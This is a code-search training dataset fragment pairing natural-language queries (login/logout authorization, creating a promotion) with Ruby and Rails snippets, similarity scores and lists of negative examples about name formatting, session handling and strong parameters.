"def split_name_for_automatic_splitting\n temp = name\n if temp\n if temp.match /\\A[A-Z]{3}[a-z]/\n temp = temp[2..-1]\n end\n (temp && temp.split(/([A-Z]?[a-z]+)/).map(&:downcase) || []).reject do |part|\n part.size < 3\n end\n else\n []\n end\n end",
"def match_name?(gotten_name, requested_name)\n gotten_name.text.strip.downcase == requested_name.downcase\n end",
"def is_personal_name?(name: nil)\n return true if name_exists?(name.to_s.split.first) || name_exists?(name.to_s.split(', ').last)\n\n # check if a name has only one word, e.g. \"FamousOrganization\", not including commas\n return false if name.to_s.split(' ').size == 1 && name.to_s.exclude?(',')\n\n # check for suffixes, e.g. \"John Smith, MD\"\n return true if %w[MD PhD].include? name.split(', ').last\n\n # check of name can be parsed into given/family name\n Namae.options[:include_particle_in_family] = true\n names = Namae.parse(name)\n\n parsed_name = names.first\n return true if parsed_name && parsed_name.given\n \n false\n end",
"def initials\n \"#{first_name[0]}#{middle_initial}#{last_name[0]}\".upcase\n end",
"def names(first_name, last_name)\n\t\"#{last_name.upcase}, #{first_name.capitalize}\"\nend",
"def undercover_name(name)\n name.downcase.split(' ').map!{|name| name.split('').map! {|letter| next_letter(letter)}.join('').capitalize}.reverse.join(\" \")\nend",
"def capitalize_name(first_name, last_name)\n \"#{first_name.capitalize} #{last_name.capitalize}\"\nend",
"def create_first_name(name)\n name.split[1]\n end",
"def formate_name(name)\n # name.split.map{|p| p.split(\"-\").map{|m| m.split(\"'\").map{|n| (n.length > 1 ? n.capitalize : n) }.join(\"'\")}.join(\"-\")}.join(\" \")\n name.gsub(/[^\\s\\-']{02,}/, &:capitalize)\n\n end",
"def formate_name(name)\n # name.split.map{|p| p.split(\"-\").map{|m| m.split(\"'\").map{|n| (n.length > 1 ? n.capitalize : n) }.join(\"'\")}.join(\"-\")}.join(\" \")\n name.gsub(/[^\\s\\-']{02,}/, &:capitalize)\n\n end",
"def first_name\n self.name.split(' ').first.titlecase\n end",
"def first_name_is_valid?\n return false unless not_nil_and_string(self.first_name)\n return self.first_name.length > 0\n end",
"def full_name\n \"#{first_name} #{last_name}\".titleize\n end",
"def full_name\n \"#{first_name} #{last_name}\".titleize\n end",
"def valid_name (name)\r\n /^\\w+$/.match (name)\r\n end",
"def normal_name(text)\n\t\t\tar = text.split(', ')\n\t\t\tlastname = ar[0]\n\t\t\tfirstpart = ar[1]\n\t\t\tfirstname = firstpart.gsub(/[[:upper:]]\\./, '').strip\n\t\t\tfirstname + ' ' + lastname\n\t\tend",
"def format_name(str)\n parts = str.split(\" \")\n new_parts = []\n\n parts.each do |part|\n new_parts << part[0].upcase + part[1..-1].downcase\n end \n\n return new_parts\nend",
"def names\n nameparts = name.split(' ')\n firstinitial = nameparts.second ? \"#{firstname[0, 1]}.\" : ''\n secondname = nameparts.third ? nameparts.second : ''\n secondinitial = nameparts.third ? \"#{secondname[0, 1]}.\" : ''\n middlenames = nameparts.length > 2 ? nameparts.from(1).to(nameparts.from(1).length - 2) : []\n middleinitials = ''\n middlenames.each_with_index do |name, index|\n middleinitials << ' ' if index.positive?\n middleinitials << \"#{name.to_s[0, 1]}.\"\n end\n lastname = nameparts.last\n names = []\n names << full_name # Joseph Aloysius Hansom\n names << \"#{title} #{name}\" if titled? # Sir Joseph Aloysius Hansom\n names += aka # Boz, Charlie Cheese, and Crackers\n names << \"#{title} #{firstinitial} #{middleinitials} #{lastname}\" if titled? && nameparts.length > 2\n names << \"#{title} #{firstinitial} #{lastname}\" if titled? && nameparts.length > 1\n names << name if name != full_name # Joseph Aloysius Hansom\n if name.include? ',' # George Inn, Barcombe\n names << name.split(/,/).first\n return names\n end\n names << \"#{title} #{name.split(/ of /).first}\" if name.include?(' of ') && titled? # King Charles II [of England]\n names << name.split(/ of /).first if name.include?(' of ') # [King] Charles II [of England]\n names << \"#{firstname} #{middleinitials} #{lastname}\" if nameparts.length > 2 # Joseph A[loysius]. R[obert]. Hansom\n names << \"#{firstinitial} #{middleinitials} #{lastname}\" if nameparts.length > 2 # J. A. R. Hansom\n names << \"#{firstname} #{nameparts.second} #{lastname}\" if nameparts.length > 2 # Joseph Aaron Hansom\n names << \"#{firstname} #{secondinitial} #{lastname}\" if nameparts.length > 2 # Joseph A. Hansom\n names << \"#{firstinitial} #{secondname} #{lastname}\" if nameparts.length > 2 # J. Aaron Hansom\n names << \"#{title} #{firstname} #{lastname}\" if nameparts.length > 2 && titled? # Sir Joseph Hansom\n names << \"#{firstname} #{lastname}\" if nameparts.length > 2 # Joseph Hansom\n names << \"#{firstinitial} #{lastname}\" if nameparts.length > 1 # J. Hansom\n names << \"#{title} #{lastname}\" if titled? # Lord Carlisle\n names << \"#{title} #{firstname}\" if titled? # Sir William\n names << firstname if nameparts.length > 1 # Charles\n names << lastname if nameparts.length > 1 # Kitchener\n names.uniq\n end",
"def last_name_is_valid?\n return false unless not_nil_and_string(self.last_name)\n return self.last_name.length > 0\n end",
"def full_name\n (first_name + ' ' + last_name).titleize\n end",
"def fix_capitalized_species_epithet(str)\n # Is second word capitalized?\n return str unless str.match?(/^\\S+ [A-Z]/)\n\n # Trust it if there is actually a name with that author present.\n return str if Name.find_by(search_name: str).present?\n\n # Try converting second word to lowercase.\n str2 = str.sub(/ [A-Z]/, &:downcase)\n\n # Return corrected name if that name exists, else keep original name.\n if Name.where(search_name: str2).or(Name.where(text_name: str2)).present?\n str2\n else\n str\n end\n end",
"def format_name(str)\n parts = str.split(\" \")\n new_parts = []\n\n parts.each do |part|\n new_parts << part[0].upcase + part[1..-1].downcase\n end \n\n new_name = new_parts.join(\" \")\n return new_name\nend",
"def validate_name\n\t\t\tunless Nacreon::NameRX.match(name)\n\t\t\t\terrors.add(:name,\n\t\t\t\t\t'must contain only letters, numbers, and \"-\".')\n\t\t\tend\n\t\tend",
"def fullname\n name = firstname + ' ' + lastname\n name.split.map(&:capitalize).join(' ')\n end",
"def validate_name(arg = nil)\n set_or_return(:name, arg, :kind_of => String, :callbacks => {\n \"user must be string of word characters and Engine ID should be either empty string or 5 to 32 octets separated by colons\" => lambda {\n |name| !@@title_pattern.match(name).nil?\n }\n })\n end",
"def case_fix(name)\r\n fixed_name = name.split(' ')\r\n fixed_name.each do |word|\r\n word.capitalize!\r\n end\r\n fixed_name.join(' ')\r\nend",
"def full_name\n firstname.capitalize() + \" \" + lastname.capitalize()\n end",
"def full_name\n \"#{first_name} #{middle_name} #{last_name}\".split.join(' ')\n end",
"def name_is_valid\n errors.add(:name,\"Invalid string for name.\") unless name_is_valid?\n end",
"def full_name\n \"#{first_name} #{last_name}\".strip.squeeze(' ').titleize\n end",
"def uncapitalize(name)\n raise if name.blank?\n name.downcase.titleize.gsub(/\\sAnd\\s/, ' and ')\n end",
"def setName\n self.name.nil? ? \"invalid\" : self.name.upcase\n self.second_name.nil? ? \"\" : self.second_name.titleize\n # self.name = self.name.upcase if not self.name.nil?\n # self.second_name = self.second_name.titleize if not self.second_name.nil?\n end",
"def split_name\n first, *rest = name.split(/\\b/)\n initials, after_initials = first.split(/(?=[A-Z][a-z])/, 2)\n [\n name,\n initials,\n after_initials,\n first,\n *rest,\n *name.split(/([A-Z]?[a-z]+)/)\n ].compact.map(&:downcase).uniq.map(&:freeze)\n end",
"def capitalize_full_name(first_name, last_name)\n return \"#{first_name.capitalize} #{last_name.capitalize}\"\nend",
"def is_upper? str; str == str.upcase; end",
"def initials(name)\n name = name.split\n name[0..-2].map { |name| name[0].upcase }.join('.') + '.' + name.last.capitalize\nend",
"def proper_name(name)\n return name if name =~ /[[:upper:]]/\n\n name.gsub(/\\b[[:alpha:]]+/) { |w| w =~ PARTICLE_REGEX ? w : w.capitalize }\n end",
"def swap_name_order(name)\n # Split input into first name and last name\n first_name = name.split(' ')[0].capitalize\n last_name = name.split(' ')[1].capitalize\n fake_name_1 = last_name + \" \" + first_name\nend",
"def first_name_last_initial\n if name.split.count > 1\n first_name + ' ' + last_name[0].upcase + '.'\n else\n first_name\n end\n end",
"def name\n [first_name || '', last_name || ''].map(&:capitalize).join(\" \")\n end",
"def sv_validate_name\n correct_name_format = false\n\n if self.rank_class\n # TODO: name these Regexp somewhere\n if (self.name =~ /^[a-zA-Z]*$/) ||\n (self.rank_class.nomenclatural_code == :iczn && self.name =~ /^[a-zA-Z]-[a-zA-Z]*$/) ||\n (self.rank_class.nomenclatural_code == :icn && self.name =~ /^[a-zA-Z]*-[a-zA-Z]*$/) ||\n (self.rank_class.nomenclatural_code == :icn && self.name =~ /^[a-zA-Z]*\\s×\\s[a-zA-Z]*$/) ||\n (self.rank_class.nomenclatural_code == :icn && self.name =~ /^×\\s[a-zA-Z]*$/)\n correct_name_format = true\n end\n\n unless correct_name_format\n invalid_statuses = TAXON_NAME_CLASS_NAMES_UNAVAILABLE_AND_INVALID\n invalid_statuses = invalid_statuses & self.taxon_name_classifications.collect { |c| c.type_class.to_s }\n misspellings = TaxonNameRelationship.collect_to_s(\n TaxonNameRelationship::Iczn::Invalidating::Usage::IncorrectOriginalSpelling,\n TaxonNameRelationship::Iczn::Invalidating::Usage::Misspelling,\n TaxonNameRelationship::Icn::Unaccepting::Usage::Misspelling)\n misspellings = misspellings & self.taxon_name_relationships.collect { |c| c.type_class.to_s }\n if invalid_statuses.empty? && misspellings.empty?\n soft_validations.add(:name, 'Name should not have spaces or special characters, unless it has a status of misspelling')\n end\n end\n end\n\n # TODO: break this one out \n if SPECIES_RANK_NAMES.include?(self.rank_string)\n soft_validations.add(:name, 'name must be lower case') unless self.name == self.name.downcase\n end\n\n end"
] |
[
"0.8481082",
"0.786001",
"0.783987",
"0.77975756",
"0.77851516",
"0.77706265",
"0.7735286",
"0.7680342",
"0.76645744",
"0.7569165",
"0.7556697",
"0.7246888",
"0.7231729",
"0.7164296",
"0.71579325",
"0.71579325",
"0.7156234",
"0.70890385",
"0.7019955",
"0.7015272",
"0.6993298",
"0.6978924",
"0.697279",
"0.6943425",
"0.6937158",
"0.69226855",
"0.6915515",
"0.68965197",
"0.6878134",
"0.6869492",
"0.6869284",
"0.681763",
"0.68161035",
"0.6805335",
"0.67962694",
"0.6775138",
"0.6766567",
"0.675881",
"0.67546433",
"0.6753897",
"0.6739564",
"0.6730912",
"0.67306226",
"0.6719768",
"0.67047876",
"0.66745245",
"0.66670066",
"0.6655969",
"0.66461307",
"0.66461307",
"0.6634735",
"0.6630112",
"0.66151124",
"0.661508",
"0.660443",
"0.6601663",
"0.6597484",
"0.6590097",
"0.65810716",
"0.6556451",
"0.6515188",
"0.6515041",
"0.6497476",
"0.6491646",
"0.6478334",
"0.6478289",
"0.64702195",
"0.6461262",
"0.6461262",
"0.64612246",
"0.645515",
"0.6454923",
"0.6454923",
"0.6449",
"0.64447737",
"0.6444558",
"0.6443712",
"0.6426247",
"0.64252293",
"0.6413916",
"0.6402879",
"0.6396974",
"0.6394142",
"0.6388112",
"0.6384592",
"0.6379307",
"0.6371748",
"0.63692075",
"0.6369148",
"0.6368921",
"0.6366611",
"0.6364091",
"0.6354085",
"0.6339062",
"0.6337736",
"0.6337638",
"0.6336899",
"0.63359404",
"0.63347626",
"0.63321245"
] |
0.80682504
|
1
|
AUTHORIZATION / LOGIN / LOGOUT
|
def tumblr_authorized?
!!(session[:tumblr_oauth_token] && session[:tumblr_oauth_token_secret])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def log_out\n\t\tsession.delete(:authorization)\n\tend",
"def authenticate\n begin\n if !session[:user_guid]\n redirect_to(root_path)\n elsif session[:user_guid] != User.find_by(id: session[:user_id].to_i).guid\n redirect_to(logout_user_path)\n end\n rescue\n redirect_to(logout_user_path)\n end\n end",
"def authenticate!\n not_authorized() unless logged_in?()\n end",
"def auth_logout\n return unless logged_in?\n begin\n http = @http\n path = BSAPI+\"auth\"\n headers = get_default_headers\n http = @http\n resp = http.get(path, headers)\n rescue StandardError\n ensure\n set_logged_out\n end\n end",
"def authenticate_admin\n check_logout_param and authenticate_with_http_basic &auth_proc\n end",
"def http_auth_login\n # FIXME: Implement\n end",
"def authenticate\n unless User.find_by_id(session[:current_user_id]) ||\n (Auditor.find_by_id(session[:current_auditor_id]))\n redirect_to ({:controller => :login, :action => :session_timeout})\n end\n end",
"def authenticate\n unless logged_in?\n redirect_to login_url\n end\n end",
"def signin\n\t\t\t# Author\n\t\t\tauthorize! :login, nil\n\t\tend",
"def logout\n end",
"def logout\n end",
"def authenticate\n redirect_to login_path if !logged_in\n end",
"def login\n\n end",
"def login\n\n end",
"def login\n end",
"def login\n end",
"def login\n end",
"def login\n end",
"def login\n end",
"def login\n end",
"def login\n end",
"def login\n end",
"def login\n end",
"def authenticate\n unless session[:user_id]\n session['return_url'] = request.url\n logger.debug request.url\n # Recreate user abilities on each login\n @current_ability = nil\n redirect_to polymorphic_url(:new_user_session)\n end\n end",
"def authenticate_user\n \tif !logged_in?\n \tredirect_to login_url\n \tend\n end",
"def authenticate\n unauthorized unless current_user\n end",
"def authenticate_user\n redirect_to \"/login\" unless logged_in?\n end",
"def login; end",
"def login_logout\n if @logged\n puts \"Competitor #{@id} is going to log out\"\n @browser.invoke_action(@kernel.resources.controllers.people.logout)\n raise \"Logout action failed\" unless @browser.last_action_result == [\"success\", \"ok\"]\n @logged = false\n else\n puts \"Competitor #{@id} is going to log in\"\n @browser.invoke_action(\n @kernel.resources.controllers.people.login, \n user_tuple(@id, false).keep(:mail, :password)\n )\n raise \"Login action failed\" unless @browser.last_action_result == [\"success\", \"ok\"]\n @logged = true\n end\n end",
"def login\n end",
"def logout_auth_all\r\n\t\tsign_out current_user if(user_signed_in?)\r\n\t\tredirect_to SERVICE_AUTH_URL_SIGN_OUT\r\n\tend",
"def authorize\n redirect_to new_session_path unless logged_in?\n end",
"def authenticate!\n unauthorized! unless current_user\n end",
"def authenticate\n redirect_to '/login' unless current_user\n end",
"def authenticate\n if !logged_in? || current_user.nil?\n redirect '/login'\n end\n end",
"def deauthenticate\n self.clear_current_user\n redirect_to :root\n end",
"def auth\n end",
"def auth\n end",
"def authenticate\n deny_access unless loged_in?\n end",
"def logged_in_authorize\n unless logged_in?\n unauthorized_access\n end\n end",
"def login_required\n authenticate_user! \n end",
"def authorize\n redirect_to new_session_path unless logged_in?\n end",
"def log_in\n end",
"def authenticate!\n redirect '/sessions/new' unless logged_in?\nend",
"def logout\n clear_login_state\n redirect_to '/'\n end",
"def sign_out\n logout\n end",
"def logged_out\n end",
"def logged_out\n end",
"def logged_out\n end",
"def authenticate_user\n unauthorized unless current_user\n end",
"def authorize \n unless logged_in?\n flash[:danger] = \"You must be logged in to view that... Please log in.\"\n redirect_to new_session_path unless logged_in?\n end\n end",
"def authenticate\n deny_access unless signed_in? \n end",
"def login\n make_login_call\n end",
"def authorized\n redirect_to \"/login\" unless logged_in? \n end",
"def authenticate_user\n redirect_to login_path unless logged_in_user?\n end",
"def authenticate\n if sesssion[:user_id].nil?\n redirect_to login_path, notice: \"You must log in first.\"\n end\n end",
"def auth\n #redirect to login page unless already logged in\n redirect_to new_user_session_path, alert: \"You must login to access that page\" unless logged_in?\n end",
"def authenticate\n\tdeny_access unless signed_in?\n end",
"def logged_in\r\n end",
"def authenticate\n if session[:account].blank?\n @is_login = false\n reset_session\n render \"login/error\"\n else\n @is_login = true\n @user = User.where( \"account = ?\", session[:account] )[0]\n end\n end",
"def authenticate\n redirect_to :login unless user_signed_in?\n end",
"def authenticate\n authenticate_or_request_with_http_basic(\"myTaskboard Login\") do |email, password|\n user = User.where(email: email, password: password).first rescue nil\n redirect_to controller: :login, action: :index, status: 403 and return if user.nil?\n\n session[:current_user_id] = user.id #rescue nil\n end\n end",
"def authenticate_signin\n\t Client.authenticate(params[:email], params[:password]) || render_unauthorized\n\t end",
"def authorize(username, password)\n #Basic logic to check name and password\n if(username == \"jo\" && password == \"jo\")\n session[\"logged_in\"] = true\n end\n session[\"logged_in\"]\n end",
"def authenticate\n logged_in? || access_denied\n end",
"def unauthenticated\n end",
"def ensure_logged_in\n authenticate unless token_authenticated? || @skip_authenticate\n end",
"def login\n\tend",
"def authenticate_user!(options = {})\n head :unauthorized unless signed_in?\n end",
"def authenticate\n logged_in? || access_denied\n end",
"def authenticate\n @logged_in = nil\n @sso_groups = []\n @user = nil\n @sso_cookie_name ||= SSO::get_cookie_name\n @sso_token_str ||= cookies[@sso_cookie_name.to_sym]\n\n if SSO::valid_token? @sso_token_str\n @logged_in = true\n user_attrs = SSO::get_attributes(@sso_token_str)\n begin\n if (/uid=(.+?),/.match(user_attrs[\"dn\"].first))[1] == \"amAdmin\"\n return redirect_to SSO::sso_console.to_s\n end\n rescue\n end\n uid = user_attrs[\"uid\"].first\n @user = User.find_by_user_login(uid)\n if @user.nil?\n @user = User.new(user_login: uid,\n user_name: user_attrs[\"cn\"].first)\n @user.role_id = 0\n @user.save\n end\n @sso_groups = user_attrs[:roles] || []\n\n end\n\n if @logged_in.nil?\n redirect_to SSO::get_redirect_url(request.original_url).to_s\n end\n\n end",
"def custom_user_auth\n\t\t\tunless student_signed_in? || admin_signed_in?\n\t\t\t\tredirect_to root_path, notice: \"You have to sign in.\"\n\t\t\tend\n\t\tend",
"def authenticate\n\t\tdeny_access unless signed_in?\n\tend",
"def home\n authenticate!\n end",
"def authenticate_admin\n if authenticate_user!\n # if current_user\n unless current_user\n redirect_to root_path, alert: \"You are not authorised to perform that Operation\"\n # end\n end\n else\n redirect_to new_user_session_path, alert: \"You need to be signed !\"\n end\n\n end",
"def authenticate\n logged_in? ? true : access_denied\n end",
"def log_out\n reset_session\n @current_user = nil\n end",
"def logged_in_account\n unless logged_in?\n redirect_to login_path\n end\n \tend",
"def login\n redirect_to '/auth/azureactivedirectory'\n end",
"def authenticate\n \t\tlogged_in? || access_denied\n \tend",
"def authenticate\n\n redirect_to_login if current_user.nil?\n \n end",
"def authenticate\n if @current_user\n else\n redirect_to login_url\n end\n end",
"def log_out\n current_user\n @current_user.auth_token = nil\n @current_user.save!\n @current_user = nil\n end",
"def admin_auth\n\t\tif signed_out?\n deny_access \"You must sign in first.\"\t\t\t\n\t\telse\n\t deny_access \"You must be an admin to perform that action.\" unless current_user.admin\n\t\tend\n end",
"def log_out\n session.delete(:user_credentials)\n @current_user = nil\n end",
"def authenticate!\r\n\tif !current_user\r\n\t\tredirect \"/login\"\r\n\tend\r\nend",
"def authenticate!\n redirect_to login_path unless current_user\n end",
"def authenticate_user!\n \tunless current_user?\n \trender status: :unauthorized\n \tend\n end",
"def login\n \tauthenticate(params)\n end",
"def user_authentication\n end",
"def logout\n log_out\n redirect_to login_path\n end",
"def login_faild\n\t\treturn error_log errors:{unauthenticated:[\"Incorrect User name and password\"]}\n\tend",
"def authenticate\n logged_in? ? true : access_denied\n end",
"def log_out\n\t\t# current_user.delete_auth_token # won't work with curl, but html is good\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def authenticate!\n unless current_user\n redirect \"/login\"\n end\nend",
"def authenticate\n \tlogged_in? ? true : access_denied\n end",
"def autenticathe_login!\n unless someone_is_logged_in?\n store_location\n flash[:danger] = \"Por favor, Inicie sesion.\"\n redirect_to welcome_path\n end\n end",
"def test_logging_out\n make_controller :logout\n login :index, 'u', 'p'\n assert_response :success\n login :index, 'u', 'ping'\n assert_protected\n login :logout, 'u', 'p'\n assert_protected 'You have successfully logged out.'\n end",
"def authenticate\n logged_in? ? true : access_denied\n end",
"def authenticate\n logged_in? ? true : access_denied\n end",
"def log_out\n forget current_user\n reset_session\n @current_user = nil\n end"
] |
[
"0.68827647",
"0.68454933",
"0.6782965",
"0.67743105",
"0.6773835",
"0.6763406",
"0.6730516",
"0.6725961",
"0.67240626",
"0.67223334",
"0.67223334",
"0.67195123",
"0.6710257",
"0.6710257",
"0.6659332",
"0.6659332",
"0.6659332",
"0.6659332",
"0.6659332",
"0.6659332",
"0.6659332",
"0.6659332",
"0.6659332",
"0.6634796",
"0.6616577",
"0.66056806",
"0.6599201",
"0.6591296",
"0.6587678",
"0.65659106",
"0.6562079",
"0.65616256",
"0.65505564",
"0.6522458",
"0.6516685",
"0.64967763",
"0.6484904",
"0.6484904",
"0.64834875",
"0.64684796",
"0.6458234",
"0.6451224",
"0.64440507",
"0.6442561",
"0.64424914",
"0.6437792",
"0.64285266",
"0.64285266",
"0.64285266",
"0.64134055",
"0.640871",
"0.63972414",
"0.6395291",
"0.6394666",
"0.63881814",
"0.6383149",
"0.6379248",
"0.6366401",
"0.6363544",
"0.6356934",
"0.63558495",
"0.6355379",
"0.6347078",
"0.6346731",
"0.6346651",
"0.6340902",
"0.6340343",
"0.63386226",
"0.63361895",
"0.63344264",
"0.63334095",
"0.63278466",
"0.63228077",
"0.63220596",
"0.6321553",
"0.6320441",
"0.63171643",
"0.63161653",
"0.63161236",
"0.6305294",
"0.6296907",
"0.62965965",
"0.6295495",
"0.6293736",
"0.6293235",
"0.628905",
"0.62774235",
"0.6269713",
"0.62694114",
"0.62685925",
"0.6265166",
"0.6264237",
"0.6260443",
"0.62600636",
"0.6260011",
"0.6259856",
"0.6255334",
"0.6255093",
"0.625403",
"0.625403",
"0.6250575"
] |
0.0
|
-1
|
====================================================== Public: create a new promotion params: in hash format, from the top to the bottom/from left to right |description|promo code|discount type|discount value|valid from|Monthly|1 Year|2 Year|through|COM|UK|IE|FR|DE|code usage limit|valid on renewal| return: None ======================================================
|
def new_promotion(hashes)
log('set description')
unless hashes['description'].nil?
log('[Decription] is ' + hashes['description'])
promp_description.type_text(hashes['description']);
end
log('set prom code')
unless hashes['promo code'].nil?
log('[Promo Code] is ' + hashes['promo code'])
promo_code.type_text(hashes['promo code'])
end
log('set discounts type')
unless hashes['discount type'].nil?
log('[Discount Type] is ' + hashes['discount type'])
promo_discount_type.select(hashes['discount type'])
end
log('set discounts value')
unless hashes['discount value'].nil?
log('[Discount Value] is - ' + hashes['discount value'])
promo_discount_value.type_text(hashes['discount value'])
end
log('set valid from')
unless hashes['valid from'].nil?
log('[Discount Value] is - ' + hashes['valid from'])
promo_eff_date.type_text(hashes['valid from'])
end
log('set good for product(s)/subscription(s) - Monthly')
if hashes['Monthly'] == 'Yes'
log('[Monthly] is - ' + hashes['Monthly'] + ' , [Monthly] is checked.')
promo_subscription_Monthly.set(true)
elsif hashes['Monthly'] == 'No'
log('[Monthly] is - ' + hashes['Monthly'] + ' , [Monthly] is unchecked.')
promo_subscription_Monthly.set(false)
else
log('[Monthly] is by default.')
end
log('set good for product(s)/subscription(s) - 1 Year')
if hashes['1 Year'] == 'Yes'
log('[1 Year] is - ' + hashes['1 Year'] + ' , [1 Year] is checked.')
promo_subscription_1_Year.set(true)
elsif hashes['1 Year'] == 'No'
log('[1 Year] is - ' + hashes['1 Year'] + ' , [1 Year] is unchecked.')
promo_subscription_1_Year.set(false)
else
log('[1 Year] is by default.')
end
log('set good for product(s)/subscription(s) - 2 Year')
if hashes['2 Year'] == 'Yes'
log('[2 Year] is - ' + hashes['2 Year'] + ' , [2 Year] is checked.')
promo_subscription_2_Year.set(true)
elsif hashes['2 Year'] == 'No'
log('[2 Year] is - ' + hashes['2 Year'] + ' , [2 Year] is unchecked.')
promo_subscription_2_Year.set(false)
else
log('[2 Year] is by default.')
end
log('set through')
unless hashes['through'].nil?
log('[through] is - ' + hashes['through'])
promo_expire_date.type_text(hashes['through'])
end
log('set good for domain(s) - COM')
if hashes['COM'] == 'Yes'
log('[COM] is - ' + hashes['COM'] + ' , [COM] is checked.')
promo_valid_domains_COM.set(true)
elsif hashes['COM'] == 'No'
log('LogQA: [COM] is - ' + hashes['COM'] + ' , [COM] is unchecked.')
promo_valid_domains_COM.set(false)
else
log('LogQA: [COM] is by default.')
end
log('LogQA: set good for domain(s) - UK')
if hashes['UK'] == 'Yes'
log('[UK] is - ' + hashes['UK'] + ' , [UK] is checked.')
promo_valid_domains_UK.set(true)
elsif hashes['UK'] == 'No'
log('[UK] is - ' + hashes['UK'] + ' , [UK] is unchecked.')
promo_valid_domains_UK.set(false)
else
log('[UK] is by default.')
end
log('set good for domain(s) - IE')
if hashes['IE'] == 'Yes'
log('[IE] is - ' + hashes['IE'] + ' , [IE] is checked.')
promo_valid_domains_IE.set(true)
elsif hashes['IE'] == 'No'
log('[IE] is - ' + hashes['IE'] + ' , [IE] is unchecked.')
promo_valid_domains_IE.set(false)
else
log('[IE] is by default.')
end
log('set good for domain(s) - FR')
if hashes['FR'] == 'Yes'
log('[FR] is - ' + hashes['FR'] + ' , [FR] is checked.')
promo_valid_domains_FR.set(true)
elsif hashes['FR'] == 'No'
log('[FR] is - ' + hashes['FR'] + ' , [FR] is unchecked.')
promo_valid_domains_FR.set(false)
else
log('[FR] is by default.')
end
log('set good for domain(s) - DE')
if hashes['DE'] == 'Yes'
log('[DE] is - ' + hashes['DE'] + ' , [DE] is checked.')
promo_valid_domains_DE.set(true)
elsif hashes['DE'] == 'No'
log('[DE] is - ' + hashes['DE'] + ' , [DE] is unchecked.')
promo_valid_domains_DE.set(false)
else
log('[DE] is by default.')
end
log('set code useage limit')
unless hashes['code usage limit'].nil?
log('[Code usage limit] is ' + hashes['code usage limit'])
promo_times.type_text(hashes['code usage limit'])
end
log('set valid no renewal')
if hashes['valid on renewal'] == 'Yes'
log('[Valid on renewal] is - ' + hashes['valid on renewal'] + ' , [valid on renewal] is true.')
promo_valid_on_renewal_true.click
elsif hashes['valid on renewal'] == 'No'
log('[Valid on renewal] is - ' + hashes['valid on renewal'] + ' , [valid on renewal] is false.')
promo_valid_on_renewal_false.click
else
log('[Valid on renewal] is by default.')
end
log('click save changes')
promo_save_changes.click
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def promotion_params\n params.require(:promotion).permit(:name, :description, :start_hr, :start_min, :end_hr, :end_min, :start_date, :end_date, :media_id, :min_sale_value, :discount_percent, :discount_value, :free_product_list_id, :active, :unique_code, :promo_cost)\n end",
"def promotion_params\n params.require(:promotion).permit(:name, :code, :start_date, :expiry_date, :used_on_date, :reason, :value, :usage_limit)\n end",
"def promotion_params\n params.require(:promotion).permit(:condition_id, :quota, :bin, :bank_id, :credit_card_id, :start_date, :end_date, :observations,:observationsb2c, :comerce_number, :active)\n end",
"def promotion_params\n params.require(:promotion).permit(:code, :description, :drawingtime, :enddate, :num_of_entries, :playerid, :read, :startdate)\n end",
"def promotion_params\n params.require(:promotion).permit(:title, :body, :start_at, :expire_at)\n end",
"def promotion_params\n params.require(:promotion).permit(:title, :image, :image_cache, :body, :start_date, :end_date, :sent)\n end",
"def promotion_params\n params.require(:promotion).permit(:id, :name, :ad_location,\n :start_time, :end_time, :active,\n :venue_id, :description, :notes, :rating)\n end",
"def promotion_params\n params.require(:promotion).permit(:start_date, :end_date, :promotable_id, :promotable_type, :active, :priority, :image)\n end",
"def promotion_params\n params.require(:promotion).permit!\n end",
"def promotion_params\n params.require(:promotion).permit(:title, :description, :banner, :valid_from, :valid_to, :quantity, :category_id, :price)\n end",
"def promotion_params\n params.require(:promotion).permit(:english_promo, :body, :send_time)\n end",
"def promotion_params\n params.require(:promotion).permit(:title, :resume, :origin, :url, :text, :sended_at, :promoter)\n end",
"def admin_promo_params\n params.require(:promo).permit!\n # params.require(:promo).permit(:title, :description, :terms_and_conditions, :photo, :discount, :original_price, :discount_price, :city_id, :merchant_id, :approval)\n end",
"def storepromotion_params\n params.require(:storepromotion).permit(:sp_title, :sp_description, :spcategory_id, :sp_store_name, :sp_image, :sp_storepromotion,\n :sp_end_date, :sp_percentage_01, :sp_percentage_02, :sp_link, :sp_spare_60, :sp_spare_61, :sp_spare_40, :sp_spare_41,\n :sp_spare_42, :sp_spare_43, :sp_spare_01, :sp_promocode, :sp_spare_02, :sp_spare_93, :sp_spare_03)\n end",
"def promotion_params\n params.require(:promotion).permit(:promotionable_id, :promotionable_type)\n end",
"def promotion_params\n params.require(:promotion).permit(:title, :pdf, :intro_text, :active, :pdf_display_name)\n end",
"def promotion_params\n params.require(:promotion).permit(:title, :description, :due_date,\n photos_attributes: [:id, :photo, :_destroy])\n end",
"def create\n @promotion = Promotion.new(promotion_params)\n check_unlimited\n @promotion.advertiser = current_advertiser\n \n respond_to do |format|\n if @promotion.save\n format.html { redirect_to @promotion, notice: 'Promotion was successfully created.' }\n format.json { render :show, status: :created, location: @promotion }\n else\n format.html { render :new }\n format.json { render json: @promotion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def promo_params\n params.require(:promo).permit(:name, :description, :extra_description, :place_id, :published, :start_at, :end_at, :role_id, :place_id, :banner, :star_number, :category_id, :subcategory1_id, :subcategory2_id)\n end",
"def cpanel_promotion_params\n params.require(:cpanel_promotion).permit(:title, :url, :mall_id, :content, :order)\n end",
"def create\n init = params[:promotion][:name][0]\n promotion_number = Promotion.create_number(params)\n @promotion = Promotion.new(promotion_params.merge(:code => (('%03d' % ((Promotion.last.code.to_i rescue 0)+1)))))\n if @promotion.save\n flash[:notice] = 'Warna berhasil ditambahkan'\n redirect_to promotions_path\n else\n flash[:error] = @promotion.errors.full_messages\n render \"new\"\n end\n end",
